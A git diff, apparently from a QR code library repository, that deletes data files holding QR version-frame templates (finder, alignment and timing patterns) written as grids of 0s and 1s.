-00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10101010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00101110000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000100000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -11111110000000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -10000010000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -10111010000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr4.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr4.dat deleted file mode 100644 index defeebd..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr4.dat +++ /dev/null @@ -1,33 +0,0 @@ -111111100000000000000000001111111 -100000100000000000000000001000001 -101110100000000000000000001011101 -101110100000000000000000001011101 -101110100000000000000000001011101 -100000100000000000000000001000001 -111111101010101010101010101111111 -000000000000000000000000000000000 -000000100000000000000000000000000 -000000000000000000000000000000000 -000000100000000000000000000000000 -000000000000000000000000000000000 -000000100000000000000000000000000 -000000000000000000000000000000000 -000000100000000000000000000000000 -000000000000000000000000000000000 -000000100000000000000000000000000 -000000000000000000000000000000000 -000000100000000000000000000000000 -000000000000000000000000000000000 -000000100000000000000000000000000 -000000000000000000000000000000000 -000000100000000000000000000000000 -000000000000000000000000000000000 -000000100000000000000000111110000 -000000001000000000000000100010000 -111111100000000000000000101010000 -100000100000000000000000100010000 -101110100000000000000000111110000 -101110100000000000000000000000000 -101110100000000000000000000000000 -100000100000000000000000000000000 -111111100000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr40.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr40.dat deleted file mode 100644 index b4e5bbe..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr40.dat +++ /dev/null @@ -1,177 +0,0 @@ -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001111111 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010101000001 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001011101 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001101011101 -101110100000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000001011101 -100000100000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000010101000001 -111111101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -000000000000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000000000000 -000000100000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 